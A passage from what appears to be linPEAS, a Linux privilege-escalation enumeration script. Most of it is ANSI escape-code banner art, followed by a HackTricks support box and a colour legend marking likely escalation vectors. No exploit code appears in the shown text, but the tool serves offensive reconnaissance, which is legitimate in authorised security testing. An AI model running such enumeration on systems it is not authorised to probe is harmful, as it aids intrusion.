\\e[48;2;186;108;0m\\e[38;2;185;108;0m▄\\e[48;2;255;147;0m\\e[38;2;254;148;0m▄\\e[48;2;255;147;0m\\e[38;2;247;144;0m▄\\e[48;2;255;147;0m\\e[38;2;188;113;1m▄\\e[48;2;255;147;0m\\e[38;2;110;100;8m▄\\e[48;2;248;147;0m\\e[38;2;72;136;20m▄\\e[48;2;206;124;1m\\e[38;2;62;175;29m▄\\e[48;2;115;81;4m\\e[38;2;67;204;34m▄\\e[48;2;55;92;13m\\e[38;2;72;217;36m▄\\e[48;2;60;157;26m\\e[38;2;73;218;37m▄\\e[48;2;66;195;32m\\e[38;2;73;218;37m▄\\e[48;2;70;212;35m\\e[38;2;73;218;37m▄\\e[48;2;72;215;36m\\e[38;2;73;218;37m▄\\e[48;2;73;217;36m\\e[38;2;73;218;37m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;71;210;37m\\e[38;2;71;214;37m▄\\e[48;2;58;142;37m\\e[38;2;57;136;37m▄\\e[48;2;51;109;39m\\e[38;2;54;109;40m▄\\e[48;2;36;76;26m\\e[38;2;38;71;31m▄\\e[0m\n         \\e[48;2;73;63;12m\\e[38;2;24;46;20m▄\\e[48;2;89;67;7m\\e[38;2;54;120;38m▄\\e[48;2;67;119;19m\\e[38;2;66;192;35m▄\\e[48;2;61;177;29m\\e[38;2;73;217;37m▄\\e[48;2;71;213;36m\\e[38;2;73;218;37m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;71;214;35m\\e[38;2;42;129;21m▄\\e[48;2;43;131;22m\\e[38;2;4;10;2m▄\\e[48;2;37;111;19m\\e[38;2;4;10;2m▄\\e[48;2;60;180;30m\\e[38;2;7;22;3m▄\\e[48;2;73;218;37m\\e[38;2;62;187;31m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m\\e[38;2;72;217;36m▄\\e[48;2;69;208;35m\\e[38;2;20;61;10m▄\\e[48;2;43;129;22m\\e[38;2;4;11;2m▄\\e[48;2;38;116;19m\\e[38;2;3;8;1m▄\\e[48;2;64;192;32m\\e[38;2;19;57;10m▄\\e[48;2;73;218;37m\\e[38;2;73;219;37m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;72;214;36m\\e[38;2;71;213;36m▄\\e[48;2;55;130;37m\\e[38;2;55;123;38m▄\\e[48;2;54;108;41m\\e[38;2;56;110;44m▄\\e[48;2;35;60;30m\\e[38;2;35;57;30m▄\\e[0m\n         \\e[48;2;37;68;29m\\e[38;2;38;61;33m▄\\e[48;2;58;132;39m\\e[38;2;62;134;45m▄\\e[48;2;64;179;36m\\e[38;2;55;129;37m▄\\e[48;2;72;217;36m\\e[38;2;71;210;36m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;27;82;14m\\e[38;2;59;178;30m▄\\e[48;2;4;11;3m\\e[38;2;3;9;1m▄\\e[48;2;0;0;0m\\e[38;2;8;18;4m▄\\e[48;2;1;3;1m\\e[38;2;4;12;2m▄\\e[48;2;36;112;19m\\e[38;2;54;163;27m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;70;210;36m\\e[38;2;72;217;36m▄\\e[48;2;4;11;1m\\e[38;2;9;28;4m▄\\e[48;2;0;0;0m\\e[38;2;6;16;3m▄\\e[48;2;1;3;1m\\e[38;2;6;15;3m▄\\e[48;2;13;39;6m\\e[38;2;32;94;15m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;70;207;36m\\e[38;2;67;196;36m▄\\e[48;2;52;110;38m \\e[48;2;57;101;47m\\e[38;2;56;90;47m▄\\e[48;2;36;55;31m\\e[38;2;38;58;33m▄\\e[0m\n         \\e[48;2;40;63;35m\\e[38;2;43;67;38m▄\\e[48;2;61;117;48m\\e[38;2;45;80;38m▄\\e[48;2;54;114;39m\\e[38;2;52;110;38m▄\\e[48;2;64;177;36m\\e[38;2;59;150;37m▄\\e[48;2;72;217;36m\\e[38;2;72;214;36m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;72;217;36m\\e[38;2;73;218;37m▄\\e[48;2;61;182;30m\\e[38;2;73;218;37m▄\\e[48;2;45;135;22m\\e[38;2;73;218;37m▄\\e[48;2;58;174;29m\\e[38;2;73;218;37m▄\\e[48;2;72;217;36m\\e[38;2;73;218;37m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;71;212;35m\\e[38;2;72;216;36m▄\\e[48;2;34;101;17m\\e[38;2;11;32;5m▄\\e[48;2;34;101;17m\\e[38;2;1;2;1m▄\\e[48;2;34;98;18m\\e[38;2;1;3;1m▄\\e[48;2;35;101;18m\\e[38;2;1;1;1m▄\\e[48;2;35;100;17m\\e[38;2;1;3;1m▄\\e[48;2;57;170;29m\\e[38;2;56;168;28m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;72;217;36m\\e[38;2;72;218;36m▄\\e[48;2;66;197;33m\\e[38;2;72;217;36m▄\\e[48;2;46;139;23m\\e[38;2;73;217;37m▄\\e[48;2;54;163;27m\\e[38;2;72;217;37m▄\\e[48;2;71;212;36m\\e[38;2;72;217;36m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;72;217;37m\\e[38;2;70;204;36m▄\\e[48;2;60;158;37m\\e[38;2;53;122;37m▄\\e[48;2;52;103;38m\\e[38;2;52;104;40m▄\\e[48;2;33;54;28m\\e[38;2;21;34;18m▄\\e[48;2;46;70;41m\\e[38;2;49;76;44m▄\\e[0m\n         \\e[48;2;49;76;44m\\e[38;2;51;78;45m▄\\e[48;2;32;51;28m\\e[38;2;43;65;37m▄\\e[48;2;61;125;45m\\e[38;2;81;124;71m▄\\e[48;2;54;124;38m\\e[38;2;53;113;40m▄\\e[48;2;68;202;36m\\e[38;2;60;156;37m▄\\e[48;2;73;218;37m\\e[38;2;72;215;36m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m\\e[38;2;73;216;37m▄\\e[48;2;73;217;37m\\e[38;2;93;205;61m▄\\e[48;2;79;213;44m\\e[38;2;121;189;95m▄\\e[48;2;85;210;51m\\e[38;2;132;184;108m▄\\e[48;2;82;211;47m\\e[38;2;121;191;93m▄\\e[48;2;73;217;37m\\e[38;2;85;210;52m▄\\e[48;2;73;218;37m\\e[38;2;73;217;37m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;37;111;20m\\e[38;2;71;214;36m▄\\e[48;2;1;2;0m\\e[38;2;44;128;22m▄\\e[48;2;2;4;2m\\e[38;2;15;39;8m▄\\e[48;2;1;1;1m\\e[38;2;29;82;14m▄\\e[48;2;13;37;7m\\e[38;2;68;204;34m▄\\e[48;2;70;210;35m\\e[38;2;73;218;37m▄\\e[48;2;73;217;37m\\e[38;2;73;218;37m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;217;37m\\e[38;2;74;216;38m▄\\e[48;2;82;211;47m\\e[38;2;118;191;90m▄\\e[48;2;100;200;70m\\e[38;2;132;185;108m▄\\e[48;2;103;201;72m\\e[38;2;127;187;101m▄\\e[48;2;98;203;67m\\e[38;2;125;189;100m▄\\e[48;2;85;209;52m\\e[38;2;116;192;88m▄\\e[48;2;73;217;37m\\e[38;2;80;211;44m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;72;217;36m\\e[38;2;68;200;35m▄\\e[48;2;63;170;35m\\e[38;2;54;125;36m▄\\e[48;2;51;103;38m\\e[38;2;51;99;38m▄\\e[48;2;49;101;36m\\e[38;2;22;45;17m▄\\e[48;2;30;47;26m\\e[38;2;45;69;39m▄\\e[48;2;51;78;45m \\e[0m\n         \\e[48;2;51;78;45m \\e[48;2;49;75;43m\\e[38;2;51;78;45m▄\\e[48;2;30;38;27m\\e[38;2;39;59;35m▄\\e[48;2;63;123;49m\\e[38;2;71;110;62m▄\\e[48;2;54;121;37m\\e[38;2;56;119;40m▄\\e[48;2;68;198;37m\\e[38;2;60;158;37m▄\\e[48;2;73;218;37m\\e[38;2;71;216;36m▄\\e[48;2;73;217;37m\\e[38;2;73;216;38m▄\\e[48;2;91;206;58m\\e[38;2;110;196;81m▄\\e[48;2;122;191;95m\\e[38;2;126;188;100m▄\\e[48;2;128;186;102m\\e[38;2;130;187;104m▄\\e[48;2;140;180;116m\\e[38;2;128;187;103m▄\\e[48;2;126;188;100m\\e[38;2;106;197;76m▄\\e[48;2;96;202;64m\\e[38;2;75;215;39m▄\\e[48;2;73;217;37m\\e[38;2;72;218;36m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;74;220;37m\\e[38;2;73;218;37m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;74;217;38m\\e[38;2;73;217;37m▄\\e[48;2;114;194;86m\\e[38;2;76;215;40m▄\\e[48;2;142;178;121m\\e[38;2;94;205;62m▄\\e[48;2;150;176;129m\\e[38;2;109;196;81m▄\\e[48;2;142;180;120m\\e[38;2;95;203;63m▄\\e[48;2;116;193;88m\\e[38;2;76;214;41m▄\\e[48;2;78;213;44m\\e[38;2;73;217;37m▄\\e[48;2;73;218;37m\\e[38;2;73;217;37m▄\\e[48;2;73;218;37m\\e[38;2;67;196;36m▄\\e[48;2;71;209;37m\\e[38;2;60;154;36m▄\\e[48;2;59;152;36m\\e[38;2;57;138;37m▄\\e[48;2;52;110;38m\\e[38;2;56;130;37m▄\\e[48;2;51;104;38m\\e[38;2;30;71;21m▄\\e[48;2;20;31;17m\\e[38;2;45;69;39m▄\\e[48;2;50;78;44m\\e[38;2;51;78;45m▄\\e[48;2;51;78;45m \\e[0m\n         \\e[48;2;51;78;45m\\e[38;2;28;43;24m▄\\e[48;2;51;78;45m\\e[38;2;43;64;38m▄\\e[48;2;51;78;45m\\e[38;2;52;79;46m▄\\e[48;2;34;53;30m\\e[38;2;46;71;41m▄\\e[48;2;64;124;48m\\e[38;2;49;106;36m▄\\e[48;2;53;115;38m\\e[38;2;57;124;40m▄\\e[48;2;63;175;36m\\e[38;2;55;126;38m▄\\e[48;2;73;217;37m\\e[38;2;66;186;36m▄\\e[48;2;89;208;56m\\e[38;2;73;217;37m▄\\e[48;2;111;195;82m\\e[38;2;75;215;40m▄\\e[48;2;109;197;80m\\e[38;2;74;216;38m▄\\e[48;2;85;209;52m\\e[38;2;73;218;36m▄\\e[48;2;73;216;37m\\e[38;2;73;218;37m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;217;37m\\e[38;2;73;218;37m▄\\e[48;2;73;217;37m\\e[38;2;73;218;37m▄\\e[48;2;73;217;36m\\e[38;2;73;218;37m▄\\e[48;2;73;218;37m\\e[38;2;71;214;36m▄\\e[48;2;71;212;36m\\e[38;2;63;172;36m▄\\e[48;2;63;174;35m\\e[38;2;57;138;37m▄\\e[48;2;58;146;36m\\e[38;2;57;137;38m▄\\e[48;2;58;139;37m\\e[38;2;57;138;37m▄\\e[48;2;58;138;37m\\e[38;2;54;128;35m▄\\e[48;2;50;117;34m\\e[38;2;20;44;14m▄\\e[48;2;20;32;17m\\e[38;2;39;61;34m▄\\e[48;2;51;77;44m\\e[38;2;45;69;40m▄\\e[48;2;51;78;45m\\e[38;2;45;69;40m▄\\e[48;2;51;78;45m\\e[38;2;49;75;43m▄\\e[0m\n         \\e[48;2;84;151;67m\\e[38;2;98;177;78m▄\\e[48;2;43;80;34m\\e[38;2;98;177;78m▄\\e[48;2;22;39;19m\\e[38;2;98;178;78m▄\\e[48;2;43;67;38m\\e[38;2;81;148;64m▄\\e[48;2;40;70;33m\\e[38;2;44;78;36m▄\\e[48;2;54;127;36m\\e[38;2;21;47;15m▄\\e[48;2;55;120;39m\\e[38;2;54;117;39m▄\\e[48;2;56;133;37m\\e[38;2;59;133;40m▄\\e[48;2;71;211;36m\\e[38;2;61;164;37m▄\\e[48;2;73;217;36m\\e[38;2;71;211;36m▄\\e[48;2;73;218;37m\\e[38;2;72;218;36m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m\\e[38;2;73;217;37m▄\\e[48;2;73;218;37m\\e[38;2;72;217;36m▄\\e[48;2;73;218;37m\\e[38;2;67;203;34m▄\\e[48;2;68;194;37m\\e[38;2;40;116;21m▄\\e[48;2;58;142;36m\\e[38;2;8;21;5m▄\\e[48;2;49;120;31m\\e[38;2;6;10;5m▄\\e[48;2;25;59;16m\\e[38;2;73;108;65m▄\\e[48;2;15;33;11m\\e[38;2;95;157;79m▄\\e[48;2;12;25;9m\\e[38;2;97;175;77m▄\\e[48;2;21;32;19m\\e[38;2;99;179;79m▄\\e[48;2;23;35;19m\\e[38;2;98;178;78m▄\\e[48;2;20;34;17m\\e[38;2;98;178;78m▄\\e[48;2;13;24;11m\\e[38;2;98;178;78m▄\\e[48;2;16;26;14m\\e[38;2;98;177;78m▄\\e[0m\n         \\e[48;2;97;176;77m\\e[38;2;58;103;46m▄\\e[48;2;98;177;78m\\e[38;2;94;170;75m▄\\e[48;2;98;177;78m\\e[38;2;99;179;79m▄\\e[48;2;98;177;78m\\e[38;2;97;176;77m▄\\e[48;2;97;176;77m\\e[38;2;98;177;78m▄\\e[48;2;91;165;72m\\e[38;2;98;177;78m▄\\e[48;2;55;100;44m\\e[38;2;98;177;78m▄\\e[48;2;15;27;10m\\e[38;2;92;168;73m▄\\e[48;2;24;46;18m\\e[38;2;76;138;61m▄\\e[48;2;73;154;53m\\e[38;2;54;96;43m▄\\e[48;2;74;213;39m\\e[38;2;24;48;18m▄\\e[48;2;74;222;37m\\e[38;2;20;55;11m▄\\e[48;2;73;217;37m\\e[38;2;31;91;16m▄\\e[48;2;73;218;37m\\e[38;2;49;145;24m▄\\e[48;2;73;218;37m\\e[38;2;68;201;35m▄\\e[48;2;73;218;37m\\e[38;2;73;217;37m▄\\e[48;2;73;218;37m\\e[38;2;74;220;37m▄\\e[48;2;73;218;37m\\e[38;2;73;219;37m▄\\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m \\e[48;2;73;218;37m\\e[38;2;73;220;37m▄\\e[48;2;73;218;37m\\e[38;2;72;214;37m▄\\e[48;2;73;218;37m\\e[38;2;63;187;32m▄\\e[48;2;72;217;36m\\e[38;2;41;120;22m▄\\e[48;2;74;222;36m\\e[38;2;21;52;13m▄\\e[48;2;67;203;34m\\e[38;2;39;62;34m▄\\e[48;2;40;117;21m\\e[38;2;64;103;54m▄\\e[48;2;14;43;7m\\e[38;2;72;126;57m▄\\e[48;2;4;12;2m\\e[38;2;87;156;69m▄\\e[48;2;25;45;21m\\e[38;2;97;174;78m▄\\e[48;2;71;124;57m\\e[38;2;99;177;80m▄\\e[48;2;97;168;78m\\e[38;2;94;170;75m▄\\e[48;2;96;175;77m\\e[38;2;103;177;84m▄\\e[48;2;98;176;79m\\e[38;2;109;183;90m▄\\e[48;2;100;178;80m\\e[38;2;112;185;94m▄\\e[48;2;100;177;80m\\e[38;2;111;184;92m▄\\e[48;2;99;177;80m\\e[38;2;107;182;89m▄\\e[48;2;98;177;78m\\e[38;2;105;182;85m▄\\e[48;2;98;177;78m\\e[38;2;103;180;83m▄\\e[48;2;98;177;78m\\e[38;2;99;177;79m▄\\e[0m\n          \\e[38;2;54;79;47m▀\\e[38;2;72;123;60m▀\\e[48;2;97;176;78m\\e[38;2;65;87;60m▄\\e[48;2;98;177;78m\\e[38;2;73;130;59m▄\\e[48;2;98;177;78m\\e[38;2;91;165;72m▄\\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;96;172;77m\\e[38;2;98;177;78m▄\\e[48;2;82;147;65m\\e[38;2;98;177;78m▄\\e[48;2;66;116;52m\\e[38;2;98;177;78m▄\\e[48;2;46;78;38m\\e[38;2;98;177;78m▄\\e[48;2;27;51;20m\\e[38;2;98;177;78m▄\\e[48;2;28;60;20m\\e[38;2;94;169;74m▄\\e[48;2;28;67;19m\\e[38;2;86;155;69m▄\\e[48;2;34;96;19m\\e[38;2;69;123;54m▄\\e[48;2;42;126;21m\\e[38;2;48;86;39m▄\\e[48;2;51;148;27m\\e[38;2;36;64;28m▄\\e[48;2;55;164;28m\\e[38;2;26;46;20m▄\\e[48;2;60;180;30m\\e[38;2;23;39;18m▄\\e[48;2;62;186;31m\\e[38;2;21;40;17m▄\\e[48;2;61;181;31m\\e[38;2;19;36;16m▄\\e[48;2;67;176;40m\\e[38;2;18;32;14m▄\\e[48;2;63;173;35m\\e[38;2;23;36;19m▄\\e[48;2;56;168;29m\\e[38;2;27;42;23m▄\\e[48;2;53;160;27m\\e[38;2;29;45;24m▄\\e[48;2;44;133;22m\\e[38;2;30;53;25m▄\\e[48;2;34;102;17m\\e[38;2;52;89;43m▄\\e[48;2;20;60;10m\\e[38;2;88;148;71m▄\\e[48;2;24;47;19m\\e[38;2;97;171;78m▄\\e[48;2;34;62;27m\\e[38;2;98;177;78m▄\\e[48;2;55;99;44m\\e[38;2;98;177;78m▄\\e[48;2;80;144;64m\\e[38;2;98;177;78m▄\\e[48;2;99;176;79m\\e[38;2;98;177;78m▄\\e[48;2;98;177;78m \\e[48;2;98;177;78m\\e[38;2;99;177;79m▄\\e[48;2;99;177;79m\\e[38;2;96;172;76m▄\\e[48;2;99;175;79m\\e[38;2;85;151;68m▄\\e[48;2;95;169;76m\\e[38;2;72;121;60m▄\\e[48;2;109;180;92m\\e[38;2;37;57;32m▄\\e[48;2;100;159;85m\\e[38;2;38;41;36m▄\\e[48;2;72;107;62m\\e[38;2;74;74;74m▄\\e[0m\\e[38;2;44;65;38m▀\\e[38;2;31;48;27m▀\\e[38;2;31;48;26m▀\\e[38;2;31;52;25m▀\\e[38;2;41;71;34m▀\\e[38;2;59;97;50m▀\\e[0m\n               \\e[38;2;95;106;94m▀\\e[38;2;81;137;65m▀\\e[38;2;91;166;73m▀\\e[48;2;95;174;76m\\e[38;2;61;73;59m▄\\e[48;2;98;177;78m\\e[38;2;33;66;26m▄\\e[48;2;98;177;78m\\e[38;2;81;143;65m▄\\e[48;2;98;177;78m\\e[38;2;102;182;81m▄\\e[48;2;98;177;78m\\e[38;2;97;176;77m▄\\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;178;78m\\e[38;2;98;177;78m▄\\e[48;2;98;179;78m\\e[38;2;98;177;78m▄\\e[48;2;98;179;78m\\e[38;2;98;177;78m▄\\e[48;2;99;179;78m\\e[38;2;98;177;78m▄\\e[48;2;98;179;78m\\e[38;2;98;177;78m▄\\e[48;2;98;178;78m\\e[38;2;98;177;78m▄\\e[48;2;98;178;78m\\e[38;2;98;177;78m▄\\e[48;2;98;178;78m\\e[38;2;98;177;78m▄\\e[48;2;98;179;78m\\e[38;2;98;177;78m▄\\e[48;2;97;177;77m\\e[38;2;98;177;78m▄\\e[48;2;98;177;78m \\e[48;2;98;177;78m \\e[48;2;98;177;78m\\e[38;2;98;176;78m▄\\e[48;2;98;177;78m\\e[38;2;99;179;78m▄\\e[48;2;98;177;78m\\e[38;2;93;169;74m▄\\e[48;2;98;177;78m\\e[38;2;56;106;44m▄\\e[48;2;96;174;77m\\e[38;2;16;31;13m▄\\e[48;2;68;126;54m\\e[38;2;58;58;58m▄\\e[0m\\e[38;2;28;50;23m▀\\e[38;2;20;22;20m▀\\e[0m\n                     \\e[38;2;41;52;39m▀\\e[38;2;39;76;30m▀\\e[38;2;73;136;57m▀\\e[48;2;90;162;72m\\e[38;2;96;100;95m▄\\e[48;2;99;175;79m\\e[38;2;60;69;58m▄\\e[48;2;98;177;78m\\e[38;2;46;59;43m▄\\e[48;2;98;177;78m\\e[38;2;32;51;27m▄\\e[48;2;98;178;78m\\e[38;2;28;50;23m▄\\e[48;2;98;178;78m\\e[38;2;28;55;22m▄\\e[48;2;98;178;78m\\e[38;2;35;64;28m▄\\e[48;2;98;177;78m\\e[38;2;41;75;33m▄\\e[48;2;98;177;78m\\e[38;2;50;89;41m▄\\e[48;2;98;177;77m\\e[38;2;54;89;45m▄\\e[48;2;98;177;77m\\e[38;2;53;89;44m▄\\e[48;2;98;177;78m\\e[38;2;49;86;39m▄\\e[48;2;98;177;78m\\e[38;2;45;83;36m▄\\e[48;2;98;177;78m\\e[38;2;40;74;32m▄\\e[48;2;98;177;78m\\e[38;2;35;64;28m▄\\e[48;2;98;178;78m\\e[38;2;39;60;33m▄\\e[48;2;90;163;71m\\e[38;2;55;61;53m▄\\e[0m\\e[38;2;53;97;41m▀\\e[38;2;24;44;19m▀\\e[38;2;36;41;35m▀\\e[0m\n'\";\n    else\n  echo \"            \\e[48;5;108m     \\e[48;5;59m \\e[48;5;71m \\e[48;5;77m       \\e[48;5;22m \\e[48;5;108m   \\e[48;5;114m \\e[48;5;59m \\e[49m\n            \\e[48;5;108m  \\e[48;5;71m \\e[48;5;22m \\e[48;5;113m \\e[48;5;71m \\e[48;5;94m \\e[48;5;214m  \\e[48;5;58m \\e[48;5;214m    \\e[48;5;100m \\e[48;5;71m  \\e[48;5;16m \\e[48;5;108m  \\e[49m\n            \\e[48;5;65m \\e[48;5;16m \\e[48;5;22m \\e[48;5;214m      \\e[48;5;16m \\e[48;5;214m        \\e[48;5;65m  \\e[49m\n            \\e[48;5;65m \\e[48;5;214m       \\e[48;5;16m \\e[48;5;214m \\e[48;5;16m \\e[48;5;214m       \\e[48;5;136m \\e[48;5;65m \\e[49m\n            \\e[48;5;23m \\e[48;5;214m          \\e[48;5;178m \\e[48;5;214m       \\e[48;5;65m \\e[49m\n            \\e[48;5;16m \\e[48;5;214m         \\e[48;5;136m \\e[48;5;94m   \\e[48;5;136m \\e[48;5;214m    \\e[48;5;65m \\e[49m\n            \\e[48;5;58m \\e[48;5;214m  \\e[48;5;172m \\e[48;5;64m \\e[48;5;77m             \\e[48;5;71m \\e[48;5;65m \\e[49m\n            \\e[48;5;16m \\e[48;5;71m \\e[48;5;77m  \\e[48;5;71m \\e[48;5;77m         \\e[48;5;71m \\e[48;5;77m   \\e[48;5;65m  \\e[49m\n            \\e[48;5;59m \\e[48;5;71m \\e[48;5;77m \\e[48;5;77m \\e[48;5;16m \\e[48;5;77m         \\e[48;5;16m \\e[48;5;77m   \\e[48;5;65m  \\e[49m\n            \\e[48;5;65m  \\e[48;5;77m      \\e[48;5;71m \\e[48;5;16m \\e[48;5;77m    \\e[48;5;113m \\e[48;5;77m   \\e[48;5;65m  \\e[49m\n            \\e[48;5;65m \\e[48;5;16m \\e[48;5;77m  \\e[48;5;150m \\e[48;5;113m \\e[48;5;77m        \\e[48;5;150m \\e[48;5;113m \\e[48;5;77m \\e[48;5;65m \\e[48;5;59m \\e[48;5;65m \\e[49m\n            \\e[48;5;16m \\e[48;5;65m \\e[48;5;71m \\e[48;5;77m             \\e[48;5;71m \\e[48;5;22m \\e[48;5;65m  \\e[49m\n            \\e[48;5;108m  \\e[48;5;107m \\e[48;5;59m \\e[48;5;77m           \\e[48;5;16m \\e[48;5;114m \\e[48;5;108m   \\e[49m\"\n    fi\n  fi\n}\n\nprint_support () {\n  printf \"\"\"\n    ${GREEN}/---------------------------------------------------------------------------------\\\\\n    |                             ${BLUE}Do you like PEASS?${GREEN}                                  |\n    |---------------------------------------------------------------------------------|\n    |         ${YELLOW}Learn Cloud Hacking${GREEN}       :     ${RED}https://training.hacktricks.xyz ${GREEN}        |\n    |         ${YELLOW}Follow on Twitter${GREEN}         :     ${RED}@hacktricks_live${GREEN}                        |\n    |         ${YELLOW}Respect on HTB${GREEN}            :     ${RED}SirBroccoli            ${GREEN}                 |\n    |---------------------------------------------------------------------------------|\n    |                                 ${BLUE}Thank you! ${GREEN}                                     |\n    \\---------------------------------------------------------------------------------/\n\"\"\"\n}\n\n###########################################\n#-----------) Starting Output (-----------#\n###########################################\n\necho \"\"\nif [ ! \"$QUIET\" ]; then print_banner; print_support; fi\nprintf ${BLUE}\"          $SCRIPTNAME-$VERSION ${YELLOW}by carlospolop\\n\"$NC;\necho \"\"\nprintf ${YELLOW}\"ADVISORY: ${BLUE}$ADVISORY\\n$NC\"\necho \"\"\nprintf ${BLUE}\"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html\\n\"$NC\necho \" LEGEND:\" | sed \"s,LEGEND,${C}[1;4m&${C}[0m,\"\necho \"  RED/YELLOW: 95% a PE vector\" | sed \"s,RED/YELLOW,${SED_RED_YELLOW},\"\necho \"  RED: You should take a look into it\" | sed \"s,RED,${SED_RED},\"\necho \"  LightCyan: Users with console\" | sed \"s,LightCyan,${SED_LIGHT_CYAN},\"\necho \"  Blue: Users without console & mounted devs\" | sed \"s,Blue,${SED_BLUE},\"\necho \"  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) \" | sed 